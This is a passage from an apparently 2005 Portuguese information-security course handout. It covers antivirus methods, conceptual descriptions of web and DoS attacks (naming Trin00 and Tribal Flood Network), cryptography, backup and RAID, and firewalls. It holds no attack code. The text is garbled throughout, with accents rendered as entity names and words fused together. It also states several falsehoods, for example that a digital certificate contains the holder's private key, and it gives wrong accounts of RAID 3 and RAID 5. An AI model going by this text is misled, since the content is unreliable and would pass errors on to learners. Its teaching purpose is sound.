malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

